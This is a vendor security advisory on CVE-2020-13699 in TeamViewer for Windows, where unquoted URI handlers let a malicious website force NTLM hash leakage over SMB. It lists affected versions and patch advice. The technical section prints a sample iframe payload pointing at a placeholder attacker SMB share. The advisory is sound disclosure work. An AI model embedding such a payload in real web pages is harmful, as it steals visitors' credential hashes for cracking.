SEQURETEK

CVE 2020-13699 VULNERABILITY IN TeamViewer

OVERVIEW

A high severity vulnerability, CVE 2020-13699, in TeamViewer could allow for offline password cracking when visiting malicious website.

www.sequretek.com

OVERVIEW

- A high-risk vulnerability, **CVE-2020-13699,** in **TeamViewer for Windows** could be exploited by remote attackers to crack username and password and lead to further system exploitation.
- This vulnerability is due to the application **not properly quoting its custom URI handlers** and could be exploited when the system with a vulnerable version of TeamViewer visits a maliciously crafted website.

TECHNICAL DETAILS

- An attacker could embed a malicious iframe in a website with a crafted URL

  <iframe src='teamviewer10: --play \\attacker-IP\share\fake.tvs'>

- This vulnerability can be exploited when the system visits this maliciously crafted website.
- This crafted **URL could allow attacker to launch the TeamViewer** Windows desktop client with arbitrary parameters.
- It forces TeamViewer to **open a remote SMB** (Server Message Block) share.
- When an attempt to access SMB share, Window will perform NTLM (NT Lan Manager) authentication. This Authentication involves exchange of credentials.
- TeamViewer is forced to rely on **NTLM authentication request to capture/steal the hash** for **offline rainbow table attacks and brute force cracking attempts.**
- These attacks could lead to further exploitation due to stolen credentials from successful exploitation of this vulnerability.
- This affects teamviewer10, teamviewer8, teamviewerapi, tvchat1, tvcontrol1, tvfiletransfer1, tvjoinv8, tvpresent1, tvsendfile1, tvsqcustomer1, tvsqsupport1, tvvideocall1, and tvvpn1.

AFFECTED VERSIONS

TeamViewer Windows Desktop Application Versions **8** to **15.8.2**

PREVENTIVE & CORRECTIVE DEFENCE ACTIONS

- **Preventive Actions**
  - Upgrade to TeamViewer version 15.8.3.
  - Apply appropriate patches from TeamViewer to the vulnerable systems after appropriate testing.
  - Do not visit un-trusted websites or follow links provided by unknown or un-trusted sources/emails.
  - Do not download software/programs from untrusted sources.
  - Use up-to-date antivirus solution.
  - Make sure that your operating system is up-to-date with relevant security patches, so that attackers can't take advantage of known problems or vulnerabilities.

- **Corrective Actions**
  - If infected, Disable SMB connection from Local network.